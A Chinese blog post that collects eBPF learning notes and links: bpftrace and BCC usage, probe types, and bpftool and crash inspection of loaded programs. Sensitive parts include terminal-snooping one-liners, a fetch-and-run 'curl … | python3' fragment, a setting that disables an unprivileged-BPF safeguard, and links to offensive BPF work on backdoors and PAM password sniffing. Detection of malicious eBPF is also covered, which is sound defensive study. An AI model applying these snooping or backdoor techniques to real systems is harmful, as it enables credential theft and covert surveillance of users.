eBPF入门文献汇总

eBPF

2022.9.26之前,我对eBPF一无所知,历史上用于抓包的BPF不算。后来陆续看了很多eBPF文献,算是入了门,写点入门心得。

eBPF最近几年发展迅速,许多新特性挑内核,有些过时的eBPF限制没必要与之较劲,入门时完全可以在较新内核上学习,比较熟了再去生产环境考虑向后兼容性。我在Ubuntu 22.04.1 LTS (Jammy Jellyfish)上测试eBPF,5.15.0-52-generic内核,这个内核版本已经较高,即便如此,仍有一些eBPF新特性未被支持。

一、 bpftrace

入门最好从bpftrace开始,遍历如下文献,不要挑着看,全都看一遍,没必要零敲碎打地看其他的。

————————————————————————–
https://github.com/iovisor/bpftrace
https://github.com/iovisor/bpftrace/tree/master/tools

自编译bpftrace
https://github.com/iovisor/bpftrace/blob/master/INSTALL.md
(有讲Disable Lockdown)

The bpftrace One-Liner Tutorial
https://github.com/iovisor/bpftrace/blob/master/docs/tutorial_one_liners.md

bpftrace Reference Guide
https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md

bpftrace(8) Manual Page
https://github.com/iovisor/bpftrace/blob/master/man/adoc/bpftrace.adoc

bpftrace(8)
https://manpages.ubuntu.com/manpages/focal/en/man8/bpftrace.bt.8.html

bpftrace Cheat Sheet
https://www.brendangregg.com/BPF/bpftrace-cheat-sheet.html
————————————————————————–

1.1 查看安装版bpftrace版本

$ bpftrace –version
bpftrace v0.14.0

$ bpftrace –info |& grep version
version: v0.14.0

$ dpkg -l bpftrace | grep ^ii
ii bpftrace 0.14.0-1 amd64 high-level tracing language for Linux eBPF

$ apt-cache show bpftrace | grep Version
Version: 0.14.0-1

1.2 自编译bpftrace

遍历

————————————————————————–
https://github.com/iovisor/bpftrace/blob/master/INSTALL.md

《Ubuntu 22上自编译bpftrace》
http://scz.617.cn:8/unix/202210221758.txt
————————————————————————–

自编译的bpftrace支持”(k|u)probe:some+off”

1.3 tracepoint:*

遍历

bpftrace Reference Guide
https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md

bpftrace -l ‘tracepoint:*’ | less
bpftrace -l ‘tracepoint:*’ | wc -l

1607个

还可用perf工具查看

perf list | grep Tracepoint | less
perf list | grep Tracepoint | wc -l

1602个

1.3.1 tracepoint:syscalls:*

bpftrace -l ‘tracepoint:syscalls:*’ | less
bpftrace -l ‘tracepoint:syscalls:*’ | wc -l

686个

$ bpftrace -lv ‘tracepoint:syscalls:sys_enter_openat’
tracepoint:syscalls:sys_enter_openat
int __syscall_nr
int dfd
const char * filename
int flags
umode_t mode

bpftrace -e ‘tracepoint:syscalls:sys_enter_openat
/comm == str($1)/
{printf(“%s (%d) -> %s\n”,comm,pid,str(args->filename))}’ \
cat

cat (97060) -> /etc/ld.so.cache
cat (97060) -> /lib/x86_64-linux-gnu/libc.so.6
cat (97060) -> /usr/lib/locale/locale-archive
cat (97060) -> /etc/hosts

1.3.2 tracepoint:raw_syscalls:*

$ bpftrace -lv ‘tracepoint:raw_syscalls:*’
tracepoint:raw_syscalls:sys_enter
long id
unsigned long args[6]
tracepoint:raw_syscalls:sys_exit
long id
long ret

只有2个

$ grep “__NR_open” /usr/include/asm/unistd_64.h
#define __NR_open 2
#define __NR_openat 257
#define __NR_open_by_handle_at 304
#define __NR_open_tree 428
#define __NR_openat2 437

bpftrace -e ‘tracepoint:raw_syscalls:sys_enter
/(args->id == 257 || args->id == 437) && comm == str($1)/
{printf(“%s (%d) -> [%d] %s\n”,comm,pid,args->id,str(uptr(args->args[1])))}’ \
cat

cat (97947) -> [257] /etc/ld.so.cache
cat (97947) -> [257] /lib/x86_64-linux-gnu/libc.so.6
cat (97947) -> [257] /usr/lib/locale/locale-archive
cat (97947) -> [257] /etc/hosts

1.4 kprobe:*/kretprobe:*

bpftrace -l ‘kprobe:*’ | less
bpftrace -l ‘kprobe:*’ | wc -l

bpftrace -l ‘kretprobe:*’ | less
bpftrace -l ‘kretprobe:*’ | wc -l

52464个,”kprobe:*”比”tracepoint:*”多多了。

与”tracepoint:*”不同,无法用”bpftrace -lv”查看”kprobe:*”的参数,但有其他办法间接知道参数。可以查看相应的”kfunc:*”,会自动利用BTF;可以借助stap快速查看参数;或直接查看内核源码。

$ bpftrace -lv ‘kfunc:do_sys_openat2’
kfunc:do_sys_openat2
int dfd
const char * filename
struct open_how * how
long int retval

$ stap -L ‘kernel.function(“do_sys_openat2”)’
kernel.function(“do_sys_openat2@/build/linux-kQ6jNR/linux-5.15.0/fs/open.c:1199”) $dfd:int $filename:char const* $how:struct open_how* $op:struct open_flags

“kprobe:do_sys_openat2″无法用dfd、filename、how,但可以用arg0、arg1、arg2
访问之。

bpftrace -e ‘kprobe:do_sys_openat2
/comm == str($1)/
{printf(“%s (%d) -> %s\n”,comm,pid,str(uptr(arg1)))}’ \
cat

cat (97121) -> /etc/ld.so.cache
cat (97121) -> /lib/x86_64-linux-gnu/libc.so.6
cat (97121) -> /usr/lib/locale/locale-archive
cat (97121) -> /etc/hosts

单行内容较长时,可以指定较大的BPFTRACE_STRLEN

BPFTRACE_STRLEN=200 \
bpftrace -e ‘kprobe:do_sys_openat2
{printf(“%s (%d) -> %s\n”,comm,pid,str(uptr(arg1)))}’

1.4.1 BTF

$ grep _BTF /boot/config-$(uname -r)
CONFIG_VIDEO_SONY_BTF_MPX=m
CONFIG_DEBUG_INFO_BTF=y
CONFIG_PAHOLE_HAS_SPLIT_BTF=y
CONFIG_DEBUG_INFO_BTF_MODULES=y

若有BTF可用,bpftrace可以查看”kfunc:vfs_open”、”struct path”

$ bpftrace -lv ‘kfunc:vfs_open’
kfunc:vfs_open
const struct path * path
struct file * file
int retval

$ bpftrace -lv “struct path”
struct path {
struct vfsmount *mnt;
struct dentry *dentry;
};

1.4.2 override (修改返回值)

$ grep -E ‘(CONFIG_BPF_KPROBE_OVERRIDE|CONFIG_FUNCTION_ERROR_INJECTION)=’ /boot/config-$(uname -r)
CONFIG_BPF_KPROBE_OVERRIDE=y
CONFIG_FUNCTION_ERROR_INJECTION=y

与stap不同,无法用bpftrace修改devmem_is_allowed返回值,按官方文档说法

This feature only works on functions tagged ALLOW_ERROR_INJECTION.

1.4.2.1 Inside override

参看

bpf-helpers(7)
https://man7.org/linux/man-pages/man7/bpf-helpers.7.html

底层有个bpf_override_return,可以这样用

————————————————————————–
int kprobe__should_failslab ( void *ctx )
{
bpf_override_return( ctx, -ENOMEM );
return 0;
}
————————————————————————–

对于”kprobe:func”,bpf_override_return使得整个函数体被跳过,立即返回指定值。只能用于kprobe,不能用于kretprobe、kfunc、uprobe。

位于某个白名单中的”kprobe:func”才能调用bpf_override_return,若不在白名单中,调用bpf_override_return时会报错

ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument

bpftrace的override()是对bpf_override_return的封装。前述白名单对应全局变量
error_injection_list

$ grep error_injection_list /proc/kallsyms
ffffffffa0075b70 t populate_error_injection_list
ffffffffa0075e00 T within_error_injection_list
ffffffffa0731dd2 t populate_error_injection_list.cold
ffffffffa1ac0c20 d error_injection_list

可用crash遍历error_injection_list,显示位于白名单范围的内核函数名。

1.4.2.2 connect_block.bt

练习题,拦截connect系统调用,对pid、comm、ip、mask、port进行过滤,调用override(),达到黑白名单效果,简易应用防火墙。

1.4.3 kprobe:some+off

需要自编译bpftrace,使得”bpftrace –info”看到”bfd: yes”,才能支持”(k|u)probe:some+off”,”bfd: no”不支持。

$ /home/scz/src/bpftrace_scz/build/src/bpftrace –version
bpftrace v0.16.0-32-gcf34

$ gdb -q -nx –batch -ex ‘x/10i do_sys_openat2’ /usr/lib/debug/boot/vmlinux-$(uname -r)
0xffffffff81389920 <do_sys_openat2>: call 0xffffffff8108b0a0 <__fentry__>
0xffffffff81389925 <do_sys_openat2+5>: push %rbp
0xffffffff81389926 <do_sys_openat2+6>: mov %rsp,%rbp
0xffffffff81389929 <do_sys_openat2+9>: push %r14
0xffffffff8138992b <do_sys_openat2+11>: mov %rsi,%r14
0xffffffff8138992e <do_sys_openat2+14>: push %r13
0xffffffff81389930 <do_sys_openat2+16>: lea -0x34(%rbp),%rsi
0xffffffff81389934 <do_sys_openat2+20>: mov %edi,%r13d
0xffffffff81389937 <do_sys_openat2+23>: mov %rdx,%rdi
0xffffffff8138993a <do_sys_openat2+26>: push %r12

/home/scz/src/bpftrace_scz/build/src/bpftrace \
-e ‘kprobe:do_sys_openat2+26
/comm == str($1)/
{printf(“%s (%d) -> %s\n”,comm,pid,str(uptr(reg(“r14”))))}’ \
cat

cat (34438) -> /etc/ld.so.cache
cat (34438) -> /lib/x86_64-linux-gnu/libc.so.6
cat (34438) -> /usr/lib/locale/locale-archive
cat (34438) -> /etc/hosts

1.5 uprobe:*/uretprobe:*

bpftrace -l ‘uprobe:/usr/bin/bash:*’ | less
bpftrace -l ‘uprobe:/usr/bin/bash:*’ | wc -l

bpftrace -l ‘uretprobe:/lib/x86_64-linux-gnu/libc.so.6:*’ | less
bpftrace -l ‘uretprobe:/lib/x86_64-linux-gnu/libc.so.6:*’ | wc -l

BPFTRACE_STRLEN=200 bpftrace -e ‘uprobe:libc:fopen
{printf(“%s (%d) -> %s\n”,comm,pid,str(arg0))}’

systemd-oomd (578) -> /proc/meminfo
systemd-oomd (578) -> /sys/fs/cgroup/user.slice/user-0.slice/user@0.service/memory.pressure
systemd-oomd (578) -> /sys/fs/cgroup/user.slice/user-0.slice/user@0.service/memory.current

bpftrace -e ‘uretprobe:/usr/bin/bash:readline
{printf(“%s (%d) -> [%s]\n”,comm,pid,str(retval))}’

bash (40203) -> [cat /etc/hosts]

bpftrace的”uretprobe:*”底层用ftrace的uprobe_events。uretprobe安装的Hook位于call之后,而不是readline的ret指令所在,这使得uretprobe的reg(“ip”)不固定。

1.5.1 uprobe:some+off

$ gdb -q -nx –batch -ex ‘x/10i __libc_open64’ /lib/x86_64-linux-gnu/libc.so.6
0x114690 <__libc_open64>: endbr64
0x114694 <__libc_open64+4>: push %r12
0x114696 <__libc_open64+6>: mov %esi,%r10d
0x114699 <__libc_open64+9>: mov %esi,%r12d
0x11469c <__libc_open64+12>: push %rbp
0x11469d <__libc_open64+13>: mov %rdi,%rbp
0x1146a0 <__libc_open64+16>: sub $0x68,%rsp
0x1146a4 <__libc_open64+20>: mov %rdx,0x40(%rsp)
0x1146a9 <__libc_open64+25>: mov %fs:0x28,%rax
0x1146b2 <__libc_open64+34>: mov %rax,0x28(%rsp)

/home/scz/src/bpftrace_scz/build/src/bpftrace \
-e ‘uprobe:libc:__libc_open64+34
/comm == str($1)/
{printf(“%s (%d) -> %s\n”,comm,pid,str(uptr(reg(“bp”))));print(ustack(perf))}’ \
cat

cat (100905) -> /etc/hosts

7eff0a08c6b2 0x7eff0a08c6b2 ([unknown])
4c4c454853007374 0x4c4c454853007374 ([unknown])

ustack实在太弱鸡,毫无用处。

1.5.2 uprobe:addr

gdb -q -nx –batch \
-ex “set disassembly-flavor intel” \
-ex ‘disassemble /r __open’ \
/lib/x86_64-linux-gnu/libc.so.6

gdb -q -nx –batch \
-ex “set disassembly-flavor intel” \
-ex ‘disassemble /r __open,+39’ \
/lib/x86_64-linux-gnu/libc.so.6

0x0000000000114690 <+0>: f3 0f 1e fa endbr64
0x0000000000114694 <+4>: 41 54 push r12
0x0000000000114696 <+6>: 41 89 f2 mov r10d,esi
0x0000000000114699 <+9>: 41 89 f4 mov r12d,esi
0x000000000011469c <+12>: 55 push rbp
0x000000000011469d <+13>: 48 89 fd mov rbp,rdi
0x00000000001146a0 <+16>: 48 83 ec 68 sub rsp,0x68
0x00000000001146a4 <+20>: 48 89 54 24 40 mov QWORD PTR [rsp+0x40],rdx
0x00000000001146a9 <+25>: 64 48 8b 04 25 28 00 00 00 mov rax,QWORD PTR fs:0x28
0x00000000001146b2 <+34>: 48 89 44 24 28 mov QWORD PTR [rsp+0x28],rax

“uprobe:addr”中”addr”就是0x1146b2这类地址,也即IDA中Rebase之前看到的地址。bpftrace自动处理ASLR,千万不要自作聪明手工处理ASLR。

正常使用”uprobe:addr”时,无需指定”–unsafe”,除非addr不在正常指令边界上。

可以用”uretprobe:addr”,只要在addr处能取得栈上的RetAddr,最终Hook RetAddr,而非Hook ret指令所在。

1.5.3 int3

uprobe、uretprobe在指定位置实际写入int3(0xcc)

bpftrace -e ‘uretprobe:/usr/bin/bash:readline
{printf(“%s (%d) -> [%s]\n”,comm,pid,str(retval))}’

bash (28400) -> [cat /etc/hosts]

gdb -q -nx -x ./gdbinit_x64.txt -x ./gdbhelper.py \
–batch -ex ‘disassemble /r readline,+4’ \
-ex ‘xxd readline 0x10’ -p 28400

0x000055839f430690 <readline+0>: cc int3
0x000055839f430691 <readline+1>: 0f 1e fa nop edx

55839f430690: cc 0f 1e fa 41 54 53 48 83 ec 08 48 8d 05 16 81 ….ATSH…H….

从kernel 3.3开始,无需PTRACE_ATTACH即可读取/proc/[pid]/mem,于是dd、xxd等工具可直接转储、查看目标进程空间。

$ xxd -s $[0x55839f430690] -l 16 -g 1 /proc/28400/mem
55839f430690: cc 0f 1e fa 41 54 53 48 83 ec 08 48 8d 05 16 81 ….ATSH…H….

bpftrace运行时,readline函数首字节被替换成0xcc,即int3,原本此处是endbr64。

$ objdump -j .text –disassemble=readline /usr/bin/bash | less

00000000000d5690 <readline@@Base>:
d5690: f3 0f 1e fa endbr64
d5694: 41 54 push %r12
d5696: 53 push %rbx

1.5.4 endbr64

参看

————————————————————————–
What does the endbr64 instruction actually do – [2019-07-05]
https://stackoverflow.com/questions/56905811/what-does-the-endbr64-instruction-actually-do

《endbr64指令用途》
http://scz.617.cn:8/misc/202109171549.txt
————————————————————————–

1.6 kfunc:*/kretfunc:*

$ bpftrace –info 2>&1 | grep kfunc
bpf_attach_kfunc: yes
kfunc: yes

bpftrace -l ‘kfunc:*’ | less
bpftrace -l ‘kfunc:*’ | wc -l

bpftrace -l ‘kretfunc:*’ | less
bpftrace -l ‘kretfunc:*’ | wc -l

44646个。与kprobe、kretprobe不同,kfunc、kretfunc自动使用BTF。

$ bpftrace -lv ‘kfunc:do_sys_openat2’
kfunc:do_sys_openat2
int dfd
const char * filename
struct open_how * how
long int retval

bpftrace -e ‘kfunc:do_sys_openat2
/comm == str($1)/
{printf(“%s (%d) -> %s\n”,comm,pid,str(uptr(args->filename)))}’ \
cat

cat (98003) -> /etc/ld.so.cache
cat (98003) -> /lib/x86_64-linux-gnu/libc.so.6
cat (98003) -> /usr/lib/locale/locale-archive
cat (98003) -> /etc/hosts

1.7 bpftrace自带.bt

dpkg -L bpftrace | grep .bt$

这些比较有意思

/usr/sbin/bashreadline.bt
/usr/sbin/execsnoop.bt
/usr/sbin/killsnoop.bt
/usr/sbin/opensnoop.bt
/usr/sbin/setuids.bt

二、 BCC

bpftrace简捷明了,但对bpf-helpers(7)的封装不完整,没有bpf_probe_write_user。BCC Python Bindings相比bpftrace,能实现更多功能,遍历如下文献。BCC编程细节不在此介绍,看完下面这堆自然就会。

————————————————————————–
BPF Compiler Collection (BCC)
https://github.com/iovisor/bcc
https://github.com/iovisor/bcc/tree/master/tools
(aptitude install bpfcc-tools)
(git版本更新、更强大)

bcc Tutorial
https://github.com/iovisor/bcc/blob/master/docs/tutorial.md

bcc Reference Guide
https://github.com/iovisor/bcc/blob/master/docs/reference_guide.md

bcc Python Developer Tutorial
https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md

bpf-helpers(7)
https://man7.org/linux/man-pages/man7/bpf-helpers.7.html

Learn eBPF Tracing: Tutorial and Examples – Brendan Gregg [2019-01-01]
https://www.brendangregg.com/blog/2019-01-01/learn-ebpf-tracing.html
————————————————————————–

2.1 bpfcc-tools自带.py

dpkg -L bpfcc-tools | grep .py$ | less
dpkg -L bpfcc-tools | grep — ‘-bpfcc$’ | less

这些比较有意思

/usr/share/doc/bpfcc-tools/examples/tracing/stacksnoop.py

/usr/sbin/bashreadline-bpfcc
/usr/sbin/bindsnoop-bpfcc
/usr/sbin/bpflist-bpfcc
/usr/sbin/execsnoop-bpfcc
/usr/sbin/exitsnoop-bpfcc
/usr/sbin/inject-bpfcc
/usr/sbin/killsnoop-bpfcc
/usr/sbin/sslsniff-bpfcc
/usr/sbin/tplist-bpfcc
/usr/sbin/trace-bpfcc
/usr/sbin/ttysnoop-bpfcc

比如

python3 /usr/share/doc/bpfcc-tools/examples/tracing/stacksnoop.py \
-s -v do_sys_openat2

2.1.1 bcc tools (git版)

相比”aptitude install bpfcc-tools”,git版本更新、更强大

https://github.com/iovisor/bcc/tree/master/tools
https://github.com/iovisor/bcc/blob/master/tools/inject.py
https://github.com/iovisor/bcc/blob/master/tools/inject_example.txt
https://github.com/iovisor/bcc/blob/master/tools/trace.py
https://github.com/iovisor/bcc/blob/master/tools/trace_example.txt
https://github.com/iovisor/bcc/blob/master/tools/sslsniff.py
https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt

有bpftrace的情况下trace.py无特别优势,并不推荐

2.2 ttysnoop

Ubuntu 22上tty_write的函数原型已经变成

static ssize_t tty_write(struct kiocb *iocb, struct iov_iter *from)

寻找引入上述函数原型的commit

cd /mnt/z/work/linux
git log -S “static ssize_t tty_write(struct kiocb *iocb, struct iov_iter *from)”

commit 9bb48c82aced07698a2d08ee0f1475a6c4f6b266
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: Tue Jan 19 11:41:16 2021 -0800

tty: implement write_iter

This makes the tty layer use the .write_iter() function instead of the
traditional .write() functionality.

查看指定commit

https://github.com/torvalds/linux/commit/9bb48c82aced

在这个页面上直接看到最早引入指定commit的内核版本,本例是v5.11-rc5。从前述commit看到之前的函数原型

static ssize_t tty_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos)

某些ttysnoop针对旧版函数原型编写,比如ttysnoop-bpfcc,已不适用于新版内核,对此有多种修改方案。

新版tty_write最终会调用n_tty_write,后者函数原型如下

static ssize_t n_tty_write(struct tty_struct *tty, struct file *file, const unsigned char *buf, size_t nr)

据此实现最简ttysnoop,下例实际监听/dev/pts/3

BPFTRACE_STRLEN=200 \
bpftrace -e ‘kfunc:n_tty_write
/args->tty->name == str($1)/
{printf(“%s”,str(args->buf,args->nr))}’ \
pts3

假设6是/dev/pts/3的inode号,下例同样可以进行ttysnoop

BPFTRACE_STRLEN=200 \
bpftrace -e ‘kfunc:tty_write
/args->iocb->ki_filp->f_inode->i_ino == $1/
{printf(“%s”,str(uptr(args->from->iov->iov_base),args->from->iov->iov_len))}’ \
6

参看

https://github.com/iovisor/bcc/blob/master/tools/ttysnoop.py

Brendan Gregg在此提供了兼容性更好的ttysnoop实现,可用于Ubuntu 22。

三、 BPF Performance Tools

参看

BPF Performance Tools
https://github.com/brendangregg/bpf-perf-tools-book

这是《BPF Performance Tools: Linux and Application Observability》的配套工具集。

cd /home/scz/src/
git clone https://github.com/brendangregg/bpf-perf-tools-book.git

————————————————————————–
cd /home/scz/src/bpf-perf-tools-book/originals/Ch06_CPUs/

bpftrace execsnoop.bt // tracepoint:syscalls:sys_enter_execve
————————————————————————–
cd /home/scz/src/bpf-perf-tools-book/originals/Ch08_FileSystems/

BPFTRACE_STRLEN=200 bpftrace opensnoop.bt
// tracepoint:syscalls:sys_exit_openat
BPFTRACE_STRLEN=200 bpftrace statsnoop.bt
// tracepoint:syscalls:sys_exit_newlstat
————————————————————————–
cd /home/scz/src/bpf-perf-tools-book/originals/Ch10_Networking/

bpftrace soaccept.bt // 取源IP、源PORT
// tracepoint:syscalls:sys_exit_accept
bpftrace tcpaccept-tp.bt // 同时取四元组
// tracepoint:sock:inet_sock_set_state
bpftrace tcpaccept.bt // 同时取四元组
// kretprobe:inet_csk_accept
bpftrace soconnect.bt // 取目标IP、目标PORT
// tracepoint:syscalls:sys_exit_connect
bpftrace tcpconnect-tp.bt // 取SADDR、DADDR、DPORT
// tracepoint:sock:inet_sock_set_state
// 有时不如soconnect.bt
bpftrace udpconnect.bt // 取目标IP、目标PORT
// kprobe:ip4_datagram_connect
————————————————————————–
cd /home/scz/src/bpf-perf-tools-book/originals/Ch11_Security/

bpftrace bashreadline.bt // uretprobe:/bin/bash:readline
bpftrace elfsnoop.bt // kretprobe:load_elf_binary
bpftrace modsnoop.bt // kprobe:do_init_module
// 可以看到stap加载模块
bpftrace setuids.bt // tracepoint:syscalls:sys_exit_setresuid
bpftrace shellsnoop.bt 40203
// tracepoint:syscalls:sys_enter_write
// 效果不错
python3 shellsnoop.py 40203 // from bcc import BPF
// 输出不直观
bpftrace tcpreset.bt // kprobe:tcp_v4_send_reset
————————————————————————–
cd /home/scz/src/bpf-perf-tools-book/originals/Ch13_Applications/

bpftrace killsnoop.bt // tracepoint:syscalls:sys_exit_kill
————————————————————————–

四、 unprivileged_bpf_disabled

参看

https://www.kernel.org/doc/html/latest/admin-guide/sysctl/kernel.html

cat /proc/sys/kernel/unprivileged_bpf_disabled

0 Unprivileged calls to bpf() are enabled
1 Unprivileged calls to bpf() are disabled without recovery
2 Unprivileged calls to bpf() are disabled

Ubuntu 22中该值缺省为2,这样修改

sysctl -qnw kernel.unprivileged_bpf_disabled=0
echo 0 > /proc/sys/kernel/unprivileged_bpf_disabled

五、Offensive BPF

遍历这个系列

————————————————————————–
Offensive BPF
https://embracethered.com/blog/tags/ebpf/
https://embracethered.com/blog/posts/2021/offensive-bpf/
https://github.com/wunderwuzzi23/Offensive-BPF/

Offensive BPF: Malicious bpftrace – wunderwuzzi [2021-10-05]
https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/

Offensive BPF: Using bpftrace to host backdoors – wunderwuzzi [2021-10-06]
https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace-message-based/

Offensive BPF: Detection Ideas – wunderwuzzi [2021-10-07]
https://embracethered.com/blog/posts/2021/offensive-bpf-detections-initial-ideas/

Offensive BPF: What’s in the bpfcc-tools box – wunderwuzzi [2021-10-09]
https://embracethered.com/blog/posts/2021/offensive-bpf-handy-tools/

Offensive BPF: Sniffing Firefox traffic with bpftrace – wunderwuzzi [2021-10-14]
https://embracethered.com/blog/posts/2021/offensive-bpf-sniffing-traffic-bpftrace/

Offensive BPF: Understanding and using bpf_probe_write_user – wunderwuzzi [2021-10-20]
https://embracethered.com/blog/posts/2021/offensive-bpf-libbpf-bpf_probe_write_user/
(纯C调用bpf_probe_write_user,非BCC Python Bindings,libbfp编程)

Offensive BPF: Using bpftrace to sniff PAM logon passwords – wunderwuzzi [2022-07-10]
https://embracethered.com/blog/posts/2022/offensive-bpf-bpftrace-sniff-logon-pam-passwords/
https://github.com/wunderwuzzi23/Offensive-BPF/blob/main/bpftrace/pamsnoop.bt
https://github.com/linux-pam/linux-pam/blob/master/libpam/pam_private.h
https://man7.org/linux/man-pages/man3/pam_get_authtok.3.html
————————————————————————–

5.1 检测恶意eBPF

假设正在执行

/home/scz/src/bpftrace_scz/build/src/bpftrace –unsafe evil_accept.bt 192.168.65.1 54321

bpftool prog | grep tracepoint -A 3
/home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog | grep tracepoint -A 3
/home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool –pretty prog show id <id>
bpftool prog dump xlated id <id>
bpftool prog dump xlated id <id> opcodes
/home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id <id>
/home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id <id> opcodes
bpflist-bpfcc -vv
ps auwx | grep unsafe

5.1.1 bpftool

参看bpftool(8)、bpftool-prog(8)、bpftool-btf(8)

安装版bpftool功能可能有缺失,需要自编译bpftool

cd /home/scz/src/kernel
tar xfj linux-5.15.0-52.58.tar.bz2
chmod +x /home/scz/src/kernel/linux-5.15.0-52.58/scripts/pahole-flags.sh
cd /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool
make

$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool version -p
{
“version”: “5.15.60”,
“features”: {
“libbfd”: true,
“skeletons”: true
}
}

对比Ubuntu 22中安装版bpftool

$ bpftool version -p
{
“version”: “5.15.60”,
“features”: {
“libbfd”: false,
“skeletons”: false
}
}

假设正在执行

/home/scz/src/bpftrace_scz/build/src/bpftrace –unsafe evil_accept.bt 192.168.65.1 54321

用如下命令查看evil_accept.bt安装的tracepoint

$ bpftool prog | grep tracepoint -A 3

495: tracepoint name sys_exit_accept tag 088a6e384aea6d85 gpl
loaded_at 2022-11-12T21:17:34+0800 uid 0
xlated 1696B jited 1061B memlock 4096B map_ids 478,479

自编译bpftool可以获取PID信息

$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog | grep bpftrace -B 3

495: tracepoint name sys_exit_accept tag 088a6e384aea6d85 gpl
loaded_at 2022-11-12T21:17:34+0800 uid 0
xlated 1696B jited 1061B memlock 4096B map_ids 478,479
pids bpftrace(62009)

$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool –pretty prog show id 495
{
“id”: 495,
“type”: “tracepoint”,
“name”: “sys_exit_accept”,
“tag”: “088a6e384aea6d85”,
“gpl_compatible”: true,
“loaded_at”: 1668259054,
“uid”: 0,
“bytes_xlated”: 1696,
“jited”: true,
“bytes_jited”: 1061,
“bytes_memlock”: 4096,
“map_ids”: [478,479
],
“pids”: [{
“pid”: 62009,
“comm”: “bpftrace”
}
]
}

显示指定id的BPF指令

$ bpftool prog dump xlated id 495
0: (bf) r6 = r1
1: (85) call bpf_get_current_pid_tgid#162864
2: (67) r0 <<= 32
3: (77) r0 >>= 32

209: (85) call htab_map_delete_elem#184720
210: (b7) r0 = 1
211: (95) exit

显示指定id每条BPF指令的完整字节码

$ bpftool prog dump xlated id 495 opcodes

209: (85) call htab_map_delete_elem#184720
85 00 00 00 90 d1 02 00
210: (b7) r0 = 1
b7 00 00 00 01 00 00 00
211: (95) exit
95 00 00 00 00 00 00 00

显示提定id的JIT汇编指令

$ bpftool prog dump jited id 495
Error: No libbfd support

报错表明Ubuntu 22中安装版bpftool不支持libbfd,搜到一句话

We don’t and can’t link with libbfd because of licence incompatibility.

需要自编译bpftool

$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id 495
bpf_prog_088a6e384aea6d85_sys_exit_accept:
0: nopl 0x0(%rax,%rax,1)
5: xchg %ax,%ax
7: push %rbp

416: call 0xffffffffcde80958
41b: mov $0x1,%eax
420: jmp 0x000000000000005c

显示指定id每条汇编指令的完整机器码

$ /home/scz/src/kernel/linux-5.15.0-52.58/tools/bpf/bpftool/bpftool prog dump jited id 495 opcodes

416: call 0xffffffffcde80958
e8 3d 05 e8 cd
41b: mov $0x1,%eax
b8 01 00 00 00
420: jmp 0x000000000000005c
e9 37 fc ff ff

从BTF中析取C语言格式的类型定义

bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

5.1.2 crash

crash也可查看eBPF信息

crash -e emacs /usr/lib/debug/boot/vmlinux-$(uname -r) /proc/kcore

crash> bpf | grep TRACEPOINT
772 ffffabca006f1000 ffff96a06fa52c00 TRACEPOINT 9338d6ba6d4d0ad9 569
773 ffffabca00075000 ffff96a06fa51000 TRACEPOINT 9338d6ba6d4d0ad9 569
774 ffffabca0007d000 ffff96a06fa50400 TRACEPOINT 088a6e384aea6d85 569,570
775 ffffabca000b3000 ffff96a06fa51400 TRACEPOINT 088a6e384aea6d85 569,570

-t查看bytecode,-j查看jit结果,但不知用crash如何找出PID

crash> bpf -p 774 -tj
ID BPF_PROG BPF_PROG_AUX BPF_PROG_TYPE TAG USED_MAPS
774 ffffabca0007d000 ffff96a06fa50400 TRACEPOINT 088a6e384aea6d85 569,570
XLATED: 1696 JITED: 1061 MEMLOCK: 4096
LOAD_TIME: Tue Nov 01 14:40:48 2022
GPL_COMPATIBLE: yes NAME: “sys_exit_accept” UID: 0

0xffffffffc03a7aa0: nop DWORD PTR [rax+rax*1+0x0]
0xffffffffc03a7aa5: xchg ax,ax

0xffffffffc03a7ec0: jmp 0xffffffffc03a7afc

0: (bf) r6 = r1
1: (85) call bpf_get_current_pid_tgid#162864

209: (85) call htab_map_delete_elem#184720
210: (b7) r0 = 1
211: (95) exit

5.1.3 bpf_probe_write_user

bpf_probe_write_user比较敏感,调用它时会额外产生日志

$ grep bpf_probe_write_user /var/log/syslog | less
Nov 10 16:13:29 Ubuntu-22 kernel: [325428.979060] python3[43143] is installing a program with bpf_probe_write_user helper that may corrupt user memory!

$ dmesg | grep bpf_probe_write_user | less
[325428.979060] python3[43143] is installing a program with bpf_probe_write_user helper that may corrupt user memory!

理论上可以拦截syslog(2)消掉这些日志,未实践。

5.2 嗅探口令明文

通过pam_get_authtok第三形参authtok可获取SSH登录和su输入的明文口令,参看

https://github.com/wunderwuzzi23/Offensive-BPF/blob/main/bpftrace/pamsnoop.bt

六、 Bad BPF

遍历

————————————————————————–
Detecting Kernel Hooking using eBPF – Pat H [2021-07-07]
https://blog.tofile.dev/2021/07/07/ebpf-hooks.html
(介绍BPF-HookDetect的原理,用到bpf_get_stackid)

BPF-HookDetect
https://github.com/pathtofile/bpf-hookdetect
(Detect Kernel Rootkits hooking syscalls)

Using eBPF to uncover in-memory loading – Pat H [2021-02-15]
https://blog.tofile.dev/2021/02/15/ebpf-01.html
(有个从内存中加载ELF的完整例子)
(curl https://elf | python3 -c)

BPF-PipeSnoop
https://github.com/pathtofile/bpf-pipesnoop
(using eBPF to log data being based in using shell pipes)

DEF CON 29: Bad BPF – Warping reality using eBPF – Pat H [2021-08-01]
https://blog.tofile.dev/2021/08/01/bad-bpf.html

Bad BPF
https://github.com/pathtofile/bad-bpf
